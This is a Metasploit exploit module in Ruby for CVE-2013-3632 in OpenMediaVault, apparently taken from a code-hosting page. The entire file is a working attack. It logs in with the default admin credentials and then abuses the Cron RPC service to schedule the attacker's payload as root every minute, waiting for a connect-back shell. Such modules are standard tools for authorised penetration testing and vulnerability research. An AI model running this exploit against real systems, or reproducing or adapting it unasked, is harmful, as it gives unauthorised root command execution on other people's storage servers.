96 lines
3.1 KiB
Ruby
96 lines
3.1 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'OpenMediaVault Cron Remote Command Execution',
|
|
'Description' => %q{
|
|
OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
|
|
An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2013-3632'],
|
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' => { 'WfsDelay' => 60 },
|
|
'Payload' =>
|
|
{
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd',
|
|
'RequiredCmd' => 'generic perl ruby telnet python',
|
|
}
|
|
},
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [['Automatic',{}]],
|
|
'DisclosureDate' => 'Oct 30 2013',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
|
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
init = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/index.php')
|
|
})
|
|
|
|
sess = init.get_cookies
|
|
post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"
|
|
|
|
login = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
|
|
'data' => post,
|
|
'ctype' => 'application/json',
|
|
'cookie' => sess
|
|
})
|
|
|
|
if !login or login.code != 200
|
|
fail_with(Failure::NoAccess, "Login failed")
|
|
end
|
|
|
|
sess = login.get_cookies
|
|
post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
|
|
post << payload.encoded.gsub('"', '\"')
|
|
post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'
|
|
|
|
resp = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
|
|
'data' => post,
|
|
'ctype' => 'application/json',
|
|
'cookie' => sess
|
|
})
|
|
|
|
if !resp or resp.code != 200
|
|
fail_with(Failure::UnexpectedReply, "Posting cron failed.")
|
|
end
|
|
|
|
print_status("Waiting for connect-back, this will take up to a minute")
|
|
end
|
|
end
|